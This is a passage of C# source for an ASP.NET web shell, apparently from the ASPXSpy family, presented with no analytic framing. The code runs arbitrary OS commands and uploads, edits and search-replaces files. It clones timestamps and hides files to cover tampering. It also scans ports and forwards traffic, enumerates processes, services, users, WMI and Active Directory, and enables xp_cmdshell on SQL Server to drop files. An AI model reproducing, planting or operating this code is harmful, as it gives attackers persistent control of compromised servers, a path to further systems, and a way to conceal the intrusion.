  1639. status="<font color=green><b>Open</b></font>";
  1640. }
  1641. catch
  1642. {
  1643. status="<font color=red><b>Close</b></font>";
  1644. }
  1645. }
  1646. }
  1647. public static void JscriptSender(System.Web.UI.Page page)
  1648. {
  1649. page.RegisterHiddenField("__EVENTTARGET","");
  1650. page.RegisterHiddenField("__FILE","");
  1651. string s=@"<script language=Javascript>";
  1652. s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  1653. s+=@"{";
  1654. s+=@"var theform=document.forms[0];";
  1655. s+=@"theform.__EVENTTARGET.value=eventTarget;";
  1656. s+=@"theform.__FILE.value=eventArgument;";
  1657. s+=@"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
  1658. s+=@"} ";
  1659. s+=@"</scr"+"ipt>";
  1660. page.RegisterStartupScript("",s);
  1661. }
  1662. protected void Bin_Search_Start(object sender,EventArgs e)
  1663. {
  1664. Hide_Div();
  1665. Bin_Div_Search.Visible=true;
  1666. Bin_H2_Title.InnerText="File Search >>";
  1667. Bin_Search_Path.Value=Request.PhysicalApplicationPath;
  1668. Bin_Table_Search.Visible=false;
  1669. }
  1670. protected void Bin_Button_Search_Click(object sender,EventArgs e)
  1671. {
  1672. try{
  1673. DirectoryInfo Bin_dir=new DirectoryInfo(Bin_Search_Path.Value);
  1674. if(!Bin_dir.Exists)
  1675. {
  1676. Bin_Msg("Path invalid ! ");
  1677. return;
  1678. }
  1679. Bin_DoSearch(Bin_dir);
  1680. Bin_Msg("Search completed ! ");}catch(Exception ex){zcg_ShowError(ex);}
  1681. }
  1682. private void Bin_DoSearch(DirectoryInfo dir)
  1683. {
  1684. try
  1685. {
  1686. Bin_Table_Search.Visible=true;
  1687. foreach(FileInfo Bin_Files in dir.GetFiles())
  1688. {
  1689. try
  1690. {
  1691. if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+Bin_Search_Ext.Value+")$",RegexOptions.IgnoreCase))
  1692. {
  1693. continue;
  1694. }
  1695. if(Bin_Search_Mod.SelectedItem.Value=="name")
  1696. {
  1697. if(Bin_Search_UseReg.Checked)
  1698. {
  1699. if(Regex.IsMatch(Bin_Files.Name,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
  1700. {
  1701. Bin_DoSearchLink(Bin_Files);
  1702. }
  1703. }
  1704. else
  1705. {
  1706. if(Bin_Files.Name.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
  1707. {
  1708. Bin_DoSearchLink(Bin_Files);
  1709. }
  1710. }
  1711. }
  1712. else
  1713. {
  1714. StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  1715. string filecontent=sr.ReadToEnd();
  1716. sr.Close();
  1717. if(Bin_Search_UseReg.Checked)
  1718. {
  1719. if(Regex.IsMatch(filecontent,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
  1720. {
  1721. Bin_DoSearchLink(Bin_Files);
  1722. if(Bin_Search_Replace.Checked)
  1723. {
  1724. filecontent=Regex.Replace(filecontent,Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value,RegexOptions.IgnoreCase);
  1725. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1726. sw.Write(filecontent);
  1727. sw.Close();
  1728. }
  1729. }
  1730. }
  1731. else
  1732. {
  1733. if(filecontent.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
  1734. {
  1735. Bin_DoSearchLink(Bin_Files);
  1736. if(Bin_Search_Replace.Checked)
  1737. {
  1738. filecontent=filecontent.Replace(Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value);
  1739. StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1740. sw.Write(filecontent);
  1741. sw.Close();
  1742. }
  1743. }
  1744. }
  1745. }
  1746. }
  1747. catch(Exception ex)
  1748. {
  1749. zcg_ShowError(ex);
  1750. continue;
  1751. }
  1752. }
  1753. foreach(DirectoryInfo subdir in dir.GetDirectories())
  1754. {
  1755. Bin_DoSearch(subdir);
  1756. }
  1757. }
  1758. catch(Exception ex)
  1759. {
  1760. zcg_ShowError(ex);
  1761. }
  1762. }
  1763. private void Bin_DoSearchLink(FileInfo objfile)
  1764. {
  1765. TableRow tr=zcg_GetTableRow();
  1766. TableCell tc=new TableCell();
  1767. tc.Text="<a href=\"javascript:Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(objfile.FullName)+"')\">"+objfile.FullName+"</a>";
  1768. tr.Cells.Add(tc);
  1769. tc=new TableCell();
  1770. tc.Text=objfile.LastWriteTime.ToString();
  1771. tr.Cells.Add(tc);
  1772. tc=new TableCell();
  1773. tc.Text=Bin_FileSize(objfile.Length);
  1774. tr.Cells.Add(tc);
  1775. Bin_Table_Search.Rows.Add(tr);
  1776. }
  1777. private void Bin_Msg(string instr)
  1778. {
  1779. Bin_Div_Msg.Visible=true;
  1780. Bin_Div_Msg.InnerHtml="<pre><xmp>"+instr+"</xmp></pre>";
  1781. }
  1782. private void zcg_ShowError(Exception ex)
  1783. {
  1784. if(ex.InnerException==null){Bin_Msg(ex.Message);}else{Bin_Msg(ex.ToString());}
  1785. }
  1786. protected void Bin_Button_Login_Click(object sender,EventArgs e)
  1787. {
  1788. string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(Bin_TextBox_Login.Text,"MD5").ToLower();
  1789. if(MD5Pass==Password)
  1790. {
  1791. Response.Cookies.Add(new HttpCookie(Version,Password));
  1792. Bin_Div_Login.Visible=false;
  1793. Bin_Main();
  1794. }
  1795. else
  1796. {
  1797. Bin_Login();
  1798. }
  1799. }
  1800. protected void Bin_Button_File_Click(object sender,EventArgs e)
  1801. {
  1802. Bin_File(Server.MapPath("."));
  1803. }
  1804. protected void Bin_Button_IISspy_Click(object sender,EventArgs e)
  1805. {
  1806. Bin_H2_Title.InnerText="IIS Spy >>";
  1807. Hide_Div();
  1808. Bin_Div_IISSpy.Visible=true;
  1809. Bin_Table_IISSpy.Style.Add("word-break","break-all");
  1810. try{Bin_WMI_IISSpy();}catch{try{Bin_IISSpy();}catch(Exception ex){zcg_ShowError(ex);}}
  1811. }
  1812. protected void Bin_Button_Save_Click(object sender,EventArgs e)
  1813. {
  1814. try
  1815. {
  1816. StreamWriter sw;
  1817. if(Bin_List_Code.SelectedItem.Text=="UTF-8")
  1818. {
  1819. sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.UTF8);
  1820. }
  1821. else
  1822. {
  1823. sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.Default);
  1824. }
  1825. sw.Write(Bin_Textarea_Edit.InnerText);
  1826. sw.Close();
  1827. Bin_Msg("Save file success !");
  1828. }
  1829. catch(Exception error)
  1830. {
  1831. zcg_ShowError(error);
  1832. }
  1833. Bin_File(Bin_TextBox_Path.Value);
  1834. }
  1835. protected void Bin_Button_Upload_Click(object sender,EventArgs e)
  1836. {
  1837. string uppath=Bin_TextBox_Path.Value;
  1838. uppath=Bin_PathBuild(uppath);
  1839. try
  1840. {
  1841. if(Bin_Lable_File.PostedFile.FileName==""){Bin_Msg("No file to upload");}
  1842. else{Bin_Lable_File.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_Lable_File.Value));Bin_Msg("File upload success!");}
  1843. }
  1844. catch(Exception error)
  1845. {
  1846. zcg_ShowError(error);
  1847. }
  1848. Bin_File(Bin_TextBox_Path.Value);
  1849. }
  1850. protected void Bin_Button_Go_Click(object sender,EventArgs e)
  1851. {
  1852. Bin_File(Bin_TextBox_Path.Value);
  1853. }
  1854. protected void Bin_Button_WebRoot_Click(object sender,EventArgs e)
  1855. {
  1856. Bin_File(Server.MapPath("."));
  1857. }
  1858. protected void Bin_Button_Clone_Click(object sender,EventArgs e)
  1859. {
  1860. try
  1861. {
  1862. File.SetCreationTimeUtc(Bin_TextBox_Sp.Value,File.GetCreationTimeUtc(Bin_TextBox_Dp.Value));
  1863. File.SetLastAccessTimeUtc(Bin_TextBox_Sp.Value,File.GetLastAccessTimeUtc(Bin_TextBox_Dp.Value));
  1864. File.SetLastWriteTimeUtc(Bin_TextBox_Sp.Value,File.GetLastWriteTimeUtc(Bin_TextBox_Dp.Value));
  1865. Bin_Msg("File time clone success!");
  1866. }
  1867. catch(Exception error)
  1868. {
  1869. zcg_ShowError(error);
  1870. }
  1871. Bin_File(Bin_TextBox_Path.Value);
  1872. }
  1873. protected void Bin_Button_Att_Click(object sender,EventArgs e)
  1874. {
  1875. string path=Bin_TextBox_Sp1.Value;
  1876. try
  1877. {
  1878. File.SetAttributes(path,FileAttributes.Normal);
  1879. if(Bin_CheckBox_ReadOnly.Checked)
  1880. {
  1881. File.SetAttributes(path,FileAttributes.ReadOnly);
  1882. }
  1883. if(Bin_CheckBox_System.Checked)
  1884. {
  1885. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  1886. }
  1887. if(Bin_CheckBox_Hiddent.Checked)
  1888. {
  1889. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  1890. }
  1891. if(Bin_CheckBox_Archive.Checked)
  1892. {
  1893. File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  1894. }
  1895. File.SetCreationTimeUtc(path,Convert.ToDateTime(Bin_TextBox_Creation.Value));
  1896. File.SetLastAccessTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastAccess.Value));
  1897. File.SetLastWriteTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastWrite.Value));
  1898. Bin_Msg("File attributes modify success!");
  1899. }
  1900. catch(Exception error)
  1901. {
  1902. zcg_ShowError(error);
  1903. }
  1904. Bin_File(Bin_TextBox_Path.Value);
  1905. }
  1906. protected void Bin_Button_Cmd_Click(object sender,EventArgs e)
  1907. {
  1908. Hide_Div();
  1909. Bin_Div_Cmd.Visible=true;
  1910. Bin_H2_Title.InnerText="Execute Command >>";
  1911. }
  1912. protected void Bin_Button_CmdExec_Click(object sender,EventArgs e)
  1913. {
  1914. try{zcg_ExecCmd();}
  1915. catch(Exception ex){zcg_ShowError(ex);}
  1916. }
  1917. private void zcg_ExecCmd()
  1918. {
  1919. try
  1920. {
  1921. Process Cmdpro=new Process();
  1922. Cmdpro.StartInfo.FileName=Bin_TextBox_CmdPath.Value;
  1923. Cmdpro.StartInfo.Arguments=Bin_TextBox_CmdArg.Value;
  1924. Cmdpro.StartInfo.UseShellExecute=false;
  1925. Cmdpro.StartInfo.RedirectStandardInput=true;
  1926. Cmdpro.StartInfo.RedirectStandardOutput=true;
  1927. Cmdpro.StartInfo.RedirectStandardError=true;
  1928. Cmdpro.Start();
  1929. string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
  1930. cmdstr+=Cmdpro.StandardError.ReadToEnd();
  1931. Bin_Div_CmdRes.Visible=true;
  1932. Bin_Div_CmdRes.InnerHtml="<hr width=\"100%\" noshade/><pre><xmp>"+cmdstr+"</xmp></pre>";
  1933. }
  1934. catch(Exception error)
  1935. {
  1936. zcg_ShowError(error);
  1937. }
  1938. }
  1939. protected void Bin_Bin_RegreadButton_Click(object sender,EventArgs e)
  1940. {
  1941. if(Bin_Text_Regread.Text.Length>0)
  1942. {
  1943. Bin_ShowReg(Bin_Text_Regread.Text);
  1944. }
  1945. else
  1946. {
  1947. RegInit();
  1948. }
  1949. }
  1950. protected void Bin_Button_Process_Click(object sender,EventArgs e)
  1951. {
  1952. zcg_ProcessHeader();
  1953. try{Bin_Wmi_GetProcess();}catch{try{Bin_GetProcess();}catch(Exception ex){zcg_ShowError(ex);}}
  1954. }
  1955. private void zcg_ProcessHeader()
  1956. {
  1957. Bin_H2_Title.InnerText="Process >>";
  1958. Hide_Div();
  1959. Bin_Div_Process.Visible=true;
  1960. }
  1961. protected void Bin_Button_Services_Click(object sender,EventArgs e)
  1962. {
  1963. Bin_H2_Title.InnerText="Services >>";
  1964. Hide_Div();
  1965. Bin_Div_Services.Visible=true;
  1966. try{Bin_Wmi_GetServices();}catch{try{Bin_GetServices();}catch(Exception ex){zcg_ShowError(ex);}}
  1967. }
  1968. protected void Bin_Button_Sysinfo_Click(object sender,EventArgs e)
  1969. {
  1970. Bin_Sysinfo();
  1971. }
  1972. protected void Bin_Button_Userinfo_Click(object sender,EventArgs e)
  1973. {
  1974. Hide_Div();
  1975. Bin_Div_Userinfo.Visible=true;
  1976. Bin_H2_Title.InnerText="User Information >>";
  1977. try{Bin_Wmi_UserInfo();}catch{try{Bin_UserInfo();}catch(Exception ex){zcg_ShowError(ex);}}
  1978. }
  1979. protected void Bin_Button_Reg_Click(object sender,EventArgs e)
  1980. {
  1981. Bin_Reg();
  1982. }
  1983. protected void Bin_Button_DB_Click(object sender,EventArgs e)
  1984. {
  1985. Bin_DataBase();
  1986. }
  1987. protected void Bin_List_SelectedIndexChanged(object sender,EventArgs e)
  1988. {
  1989. switch(((Control)sender).ID.ToString())
  1990. {
  1991. case "Bin_List_Connstr":
  1992. Bin_Div_DBPanel.Visible=false;
  1993. Bin_TextBox_ConnStr.Text=Bin_List_Connstr.SelectedItem.Value.ToString();
  1994. break;
  1995. case "Bin_Button_Show":
  1996. case "Bin_List_DB":
  1997. Bin_DataBind();
  1998. break;
  1999. case "Bin_List_Exec":
  2000. string selectstr=Bin_List_Exec.SelectedItem.Value.ToString();
  2001. if (selectstr == "SA_Upfile")
  2002. {
  2003. Bin_Div_saupfile.Visible=true;
  2004. }
  2005. else if (selectstr == "FileCopy")
  2006. {
  2007. Bin_Div_CopyFile.Visible = true;
  2008. }
  2009. else
  2010. {
  2011. Bin_Textarea_Query.InnerText = selectstr;
  2012. }
  2013. break;
  2014. case "Bin_List_Code":
  2015. Bin_CreateFile(Bin_TextBox_Fp.Value);
  2016. break;
  2017. }
  2018. }
  2019. protected void Bin_Button_Back_Click(object sender,EventArgs e)
  2020. {
  2021. Bin_File(Bin_TextBox_Path.Value);
  2022. }
  2023. protected void Bin_Button_Conn_Click(object sender,EventArgs e)
  2024. {
  2025. Bin_Newconn();
  2026. }
  2027. protected void Bin_Button_PortScan_Click(object sender,EventArgs e)
  2028. {
  2029. Bin_PortScan();
  2030. }
  2031. protected void Bin_Button_PortMap_Click(object sender,EventArgs e)
  2032. {
  2033. Bin_PortMap();
  2034. }
  2035. protected void Bin_Button_WmiTools_Click(object sender, EventArgs e)
  2036. {
  2037. Bin_WmiTools();
  2038. }
  2039. protected void zcg_btnListPM_Click(object sender,EventArgs e)
  2040. {
  2041. try{
  2042. if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2043. {
  2044. Bin_Msg("List is empty.");
  2045. }else{
  2046. zcg_tbl_PMList.Visible=true;
  2047. Hashtable ht=Session[PMCacheName] as Hashtable;
  2048. int count=0,connected=0,closed=0;
  2049. foreach(DictionaryEntry de in ht)
  2050. {
  2051. PortForward pf=de.Value as PortForward;
  2052. if(pf!=null){
  2053. count++;
  2054. TableRow tr=zcg_GetTableRow();
  2055. TableCell tc=new TableCell();
  2056. tc.Text=de.Key.ToString();
  2057. tr.Cells.Add(tc);
  2058. tc=new TableCell();
  2059. tc.Text=string.Format("{0}:{1}",pf.RemoteAddress,pf.RemotePort);
  2060. tr.Cells.Add(tc);
  2061. tc=new TableCell();
  2062. tc.Text=string.Format("{0}:{1}",pf.LocalAddress,pf.LocalPort);
  2063. tr.Cells.Add(tc);
  2064. tc=new TableCell();
  2065. if(pf.IsConnected){tc.Text="Connected";connected++;}
  2066. else{tc.Text="Closed";closed++;}
  2067. tr.Cells.Add(tc);
  2068. tc=new TableCell();
  2069. tc.Text="<a href=\"javascript:Bin_PostBack('zcg_ClosePM','"+Bin_ToBase64(de.Key.ToString())+"')\">Close</a>";
  2070. tr.Cells.Add(tc);
  2071. zcg_tbl_PMList.Rows.Add(tr);}
  2072. }if(count==0){Bin_Msg("List is empty.");}else{Bin_Msg(string.Format("Total {0} PortMap(s) cached ,{1} Connected ,{2} Closed",count,connected,closed));}
  2073. }
  2074. }catch(Exception ex){zcg_ShowError(ex);}
  2075. }
  2076. private void zcg_ClosePM(string id)
  2077. {
  2078. if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2079. {
  2080. Bin_Msg("List is empty.");
  2081. }else{
  2082. Hashtable ht=Session[PMCacheName] as Hashtable;
  2083. PortForward pf=ht[id] as PortForward;
  2084. if(pf!=null){pf.Stop();ht.Remove(id);}
  2085. zcg_btnListPM_Click(null,null);Bin_Msg("PortMap of ID:"+id+" Closeed.");
  2086. }
  2087. }
  2088. protected void zcg_btnClearPM_Click(object sender,EventArgs e)
  2089. {
  2090. if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2091. {
  2092. Bin_Msg("List is empty.");
  2093. }else{
  2094. Hashtable ht=Session[PMCacheName] as Hashtable;
  2095. foreach(DictionaryEntry de in ht)
  2096. {
  2097. PortForward pf=de.Value as PortForward;
  2098. if(pf!=null){pf.Stop();}
  2099. }
  2100. ht.Clear();Bin_Msg("All PortMap(s) closed");
  2101. }
  2102. }
  2103. protected void Bin_Button_MapPort_Click(object sender,EventArgs e)
  2104. {
  2105. try{
  2106. if(Bin_TextBox_Lport.Value=="" || Bin_TextBox_Lip.Value.Length<7 || Bin_TextBox_Rport.Value=="")return;
  2107. int rport=int.Parse(Bin_TextBox_Rport.Value);
  2108. int lport=int.Parse(Bin_TextBox_Lport.Value);
  2109. PortForward pf=new PortForward();
  2110. pf.Start(Bin_TextBox_Rip.Value,rport,Bin_TextBox_Lip.Value,lport);
  2111. if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2112. {
  2113. try{Session[PMCacheName]=new Hashtable();}catch{Bin_Msg("Session not enable,List while unavailable");}
  2114. }
  2115. string s=Guid.NewGuid().ToString();
  2116. Hashtable ht=Session[PMCacheName] as Hashtable;
  2117. ht[s]=pf;
  2118. Bin_Msg(String.Format("PortMap of ID: {0} Started.",s));
  2119. }catch(Exception ex){zcg_ShowError(ex);}
  2120. }
  2121. protected void Bin_Button_Scan_Click(object sender,EventArgs e)
  2122. {
  2123. ArrayList ScanResults=new ArrayList();
  2124. try
  2125. {
  2126. new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Bin_TextBox_Sip.Text,-1).Demand();
  2127. string[] ports=Bin_TextBox_Sport.Text.Split(',');
  2128. for(int i=0;i<ports.Length;i++)
  2129. {
  2130. int p=0;
  2131. if(Int32.TryParse(ports[i],out p)){ScanResults.Add(new ScanPort(Bin_TextBox_Sip.Text,p));}
  2132. }
  2133. Thread[] lThreads=new Thread[ScanResults.Count];
  2134. int idx=0;
  2135. for(idx=0;idx<ScanResults.Count;idx++)
  2136. {
  2137. lThreads[idx]=new Thread(new ThreadStart(((ScanPort)ScanResults[idx]).Scan));
  2138. lThreads[idx].Start();
  2139. }
  2140. for(idx=0;idx<lThreads.Length;idx++){lThreads[idx].Join();}
  2141. }
  2142. catch(SocketException){Bin_Msg("Host not found.");}
  2143. catch(Exception ex){zcg_ShowError(ex);}
  2144. Bin_Label_Scanres.Visible=true;
  2145. string res="";
  2146. foreach(ScanPort th in ScanResults){res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";}
  2147. Bin_Label_Scanres.InnerHtml=res;
  2148. }
  2149. protected void Bin_Button_Query_Click(object sender,EventArgs e)
  2150. {
  2151. Bin_Button_Export.Visible=true;
  2152. Bin_ExecBind();
  2153. }
  2154. protected void Bin_Button_Export_Click(object sender,EventArgs e)
  2155. {
  2156. try
  2157. {
  2158. OpenConnection();
  2159. if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
  2160. {
  2161. if(Bin_List_DB.SelectedItem.Value!="")
  2162. {
  2163. conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
  2164. }
  2165. }
  2166. DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
  2167. string fname="Query.xls";
  2168. Match mat=Regex.Match(Bin_Textarea_Query.InnerText,@"(?<= from \[?)[\w.]+");
  2169. if (mat.Success)
  2170. {
  2171. fname=mat.Value+".xls";
  2172. }
  2173. if (dt.Columns.Count>0)
  2174. {
  2175. Response.AddHeader("Content-Disposition","attachment;filename="+fname);
  2176. Response.ContentType="application/ms-excel";
  2177. {
  2178. Response.Write("<table border=1><tr>\r\n");
  2179. foreach(DataColumn subcol in dt.Columns)
  2180. {
  2181. Response.Write("<td><b>"+subcol.ColumnName+"</b></td>");
  2182. }
  2183. Response.Write("</tr>");
  2184. foreach(DataRow subrow in dt.Rows)
  2185. {
  2186. Response.Write("<tr>");
  2187. for (int i=0;i<subrow.ItemArray.Length;i++)
  2188. {
  2189. Response.Write("<td>"+subrow.ItemArray[i].ToString()+"</td>");
  2190. }
  2191. Response.Write("</tr>");
  2192. }
  2193. Response.Write("</table>\r\n");
  2194. }
  2195. Response.End();
  2196. }
  2197. else{Bin_Msg("No data!");}
  2198. }
  2199. catch (Exception ex){zcg_ShowError(ex);}
  2200. }
  2201. protected void Bin_Button_SaUpfile_Click(object sender, EventArgs e)
  2202. {
  2203. Bin_Div_saupfile.Visible=true;
  2204. Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
  2205. Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
  2206. string strfrm="8.0|1|1 SQLIMAGE 0 0 \"\" 1 safile \"\"";
  2207. Bin_ExecSql("CREATE TABLE bin_temp(safile image)");
  2208. Byte[] b = new byte[Bin_TextBox_SaFile.PostedFile.InputStream.Length];
  2209. Stream i = Bin_TextBox_SaFile.PostedFile.InputStream;
  2210. i.Read(b, 0, b.Length);
  2211. try
  2212. {
  2213. OpenConnection();
  2214. string db = conn.Database;
  2215. comm.CommandText = "insert into [bin_temp] values(@P1);";
  2216. DbParameter dp=new SqlParameter("@P1", SqlDbType.Image);
  2217. dp.Value = b;
  2218. comm.Parameters.Add(dp);
  2219. comm.ExecuteNonQuery();
  2220. string verstr = Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
  2221. if (verstr.IndexOf("2005") > 0)
  2222. {
  2223. strfrm.Replace("8.0", "9.0");
  2224. Bin_ExecSql("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;");
  2225. }
  2226. string[] arrfrm = strfrm.Split('|');
  2227. foreach (string substrfrm in arrfrm)
  2228. {
  2229. Bin_ExecSql("EXEC master..xp_cmdshell 'echo " + substrfrm + " >> c:\\windows\\temp\\tmp.fmt'");
  2230. }
  2231. Bin_ExecSql("exec master..xp_cmdshell'bcp \"select safile from " + db + "..bin_temp\" queryout \"" + Bin_TextBox_SavePath.Value + "\" -T -f c:\\windows\\temp\\tmp.fmt'");
  2232. Bin_ExecSql("If object_id('bin_temp')is not null drop table bin_temp");
  2233. Bin_ExecSql("EXECUTE master..xp_cmdshell 'del c:\\windows\\temp\\tmp.fmt'");
  2234. string res = Bin_DataTable("EXECUTE master..xp_fileexist '" + Bin_TextBox_SavePath.Value + "'").Rows[0][0].ToString();
  2235. if (res == "1")
  2236. {
  2237. Bin_Msg("File uploaded,Good Luck!");
  2238. }
  2239. else{Bin_Msg("Upload failed,Sorry!");}
  2240.  
  2241. }
  2242. catch (Exception ex)
  2243. {
  2244. zcg_ShowError(ex);
  2245. }
  2246. }
  2247.  
  2248. protected void Bin_Button_CabCopy_Click(object sender, EventArgs e)
  2249. {
  2250. Bin_Div_CopyFile.Visible = true;
  2251. try
  2252. {
  2253. IDictionary dic = Environment.GetEnvironmentVariables();
  2254. string tmppath = dic["TMP"].ToString();
  2255. if(Bin_ExecSql("exec master..xp_makecab '" + tmppath + "\\~098611.tmp','default',1,'" + Bin_TextBox_Source.Value + "';exec master..xp_unpackcab '" + tmppath + "\\~098611.tmp','" + Path.GetDirectoryName(Bin_TextBox_Target.Value) + "',1,'" + Path.GetFileName(Bin_TextBox_Target.Value) + "'")){Bin_Msg("File Copyed,Good Luck!");}
  2256. }
  2257. catch (Exception ex)
  2258. {
  2259. zcg_ShowError(ex);
  2260. }
  2261. }
  2262.  
  2263. protected void Bin_Button_FsoCopy_Click(object sender, EventArgs e)
  2264. {
  2265. Bin_Div_CopyFile.Visible = true;
  2266. try
  2267. {
  2268. if(Bin_ExecSql("declare @a int;exec master..sp_oacreate'Scripting.FileSystemObject',@a output;exec master..sp_oamethod @a,'CopyFile',null,'" + Bin_TextBox_Source.Value + "','" + Bin_TextBox_Target.Value+ "'")){ Bin_Msg("File Copyed,Good Luck!");}
  2269. }
  2270. catch (Exception ex)
  2271. {
  2272. Bin_Msg(ex.Message);
  2273. }
  2274.  
  2275. }
  2276. protected void Bin_Button_WmiQuery_Click(object sender, EventArgs e)
  2277. {
  2278. if (Bin_TextBox_WmiString.Text != "")
  2279. {
  2280. Bin_Div_WmiPanel.Visible = true;
  2281. try
  2282. {
  2283. Bin_DataGrid_Wmi.PreRender+=new EventHandler(DataGrid_PreRender);
  2284. if(string.IsNullOrEmpty(zcg_txbWmiComputer.Text))
  2285. {
  2286. Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
  2287. }
  2288. else
  2289. {
  2290. Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiComputer.Text,zcg_txbWmiUserName.Text,zcg_txbWmiPassword.Text,zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text);
  2291. }
  2292. Bin_DataGrid_Wmi.DataBind();
  2293. for(int i=0;i<Bin_DataGrid_Wmi.Items.Count;i++)
  2294. {
  2295. zcg_SetControlAttribute(Bin_DataGrid_Wmi.Items[i]);
  2296. }
  2297. }
  2298. catch (Exception ex)
  2299. {
  2300. zcg_ShowError(ex);
  2301. }
  2302. }
  2303. }
  2304.  
  2305. [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
  2306. private static extern bool LookupAccountName(string machineName, string accountName, byte[] sid, ref int sidLen, StringBuilder domainName, ref int domainNameLen, out int peUse);
  2307. private string zcg_GetCurrentDomain()
  2308. {
  2309. try{return zcg_WmiDataTable("root\\CIMV2","select Domain from Win32_ComputerSystem").Rows[0]["Domain"] as string;}
  2310. catch{
  2311. try{string s = Environment.UserDomainName;
  2312. int num3;
  2313. byte[] sid = new byte[0x400];
  2314. int length = sid.Length;
  2315. StringBuilder domainName = new StringBuilder(0x400);
  2316. int capacity = domainName.Capacity;
  2317. if(!string.Equals(s,"NT AUTHORITY"))
  2318. {
  2319. return s;
  2320. }
  2321. else if (LookupAccountName(null, DomainUserName, sid, ref length, domainName, ref capacity, out num3))
  2322. {
  2323. return domainName.ToString();
  2324. }return Environment.MachineName;}catch{return Environment.MachineName;}
  2325. }
  2326. }
  2327. protected void zcg_lbtnADSViewer_Click(object sender,EventArgs e)
  2328. {
  2329. Hide_Div();
  2330. try{
  2331. zcg_div_ADSViewer.Visible = true;
  2332. zcg_lbtnADSLocalMachine.CommandArgument="WinNT://"+Environment.MachineName;
  2333. zcg_lbtnADSCurrentDomain.CommandArgument="WinNT://"+zcg_GetCurrentDomain();
  2334. }catch(Exception ex){zcg_ShowError(ex);}
  2335. Bin_H2_Title.InnerText = "ADS Viewer >>";
  2336. }
  2337. protected void zcg_btnDoListADS_Click(object sender,EventArgs e)
  2338. {
  2339. if(!string.IsNullOrEmpty(zcg_txbADSPath.Value.Trim()))
  2340. {
  2341. try{
  2342. if(!string.IsNullOrEmpty(zcg_txbADSFilter.Value.Trim()))
  2343. {
  2344. zcg_SearchADSChildren(zcg_txbADSPath.Value.Trim(),zcg_txbADSFilter.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
  2345. }else{
  2346. zcg_EnumADSChildrenAndListProperties(zcg_txbADSPath.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value);
  2347. }
  2348. }
  2349. catch(Exception ex){zcg_ShowError(ex);}
  2350. }
  2351. }
  2352. protected void zcg_lbtnADS_Click(object sender,EventArgs e)
  2353. {
  2354. string ADSPath=(sender as LinkButton).CommandArgument;
  2355. zcg_txbADSPath.Value=ADSPath;
  2356. try{zcg_EnumADSChildrenAndListProperties(ADSPath,null,null,zcg_txbADSType.Value);}
  2357. catch(Exception ex){zcg_ShowError(ex);}
  2358. }
  2359. private void zcg_SearchADSChildren(string ADSPath,string ADSFilter,string ADSUserName,string ADSPassWord,string AuthType)
  2360. {
  2361. DirectorySearcher ds=null;
  2362. SearchResultCollection sc=null;
  2363. try
  2364. {
  2365. new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand();
  2366. AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType));
  2367. DirectoryEntry dire=null;
  2368. TableCell tc=null;
  2369. if(!string.IsNullOrEmpty(ADSUserName))
  2370. {
  2371. dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t);
  2372. }
  2373. else
  2374. {
  2375. dire=new DirectoryEntry(ADSPath);
  2376. dire.AuthenticationType=t;
  2377. }
  2378. zcg_lbl_Schema.Text="SearchResult";
  2379. ds=new DirectorySearcher(dire,ADSFilter);
  2380. sc=ds.FindAll();
  2381. foreach(SearchResult sr in sc)
  2382. {
  2383. TableRow tr=zcg_GetTableRow();
  2384. tc=new TableCell();
  2385. tc.Text=zcg_MakeADSLinkJs(sr.Path);
  2386. tr.Cells.Add(tc);
  2387. tc=new TableCell();
  2388. tc.Text="Search Result Entry";
  2389. tr.Cells.Add(tc);
  2390. tc=new TableCell();
  2391. tc.Text="Unknown";
  2392. tr.Cells.Add(tc);
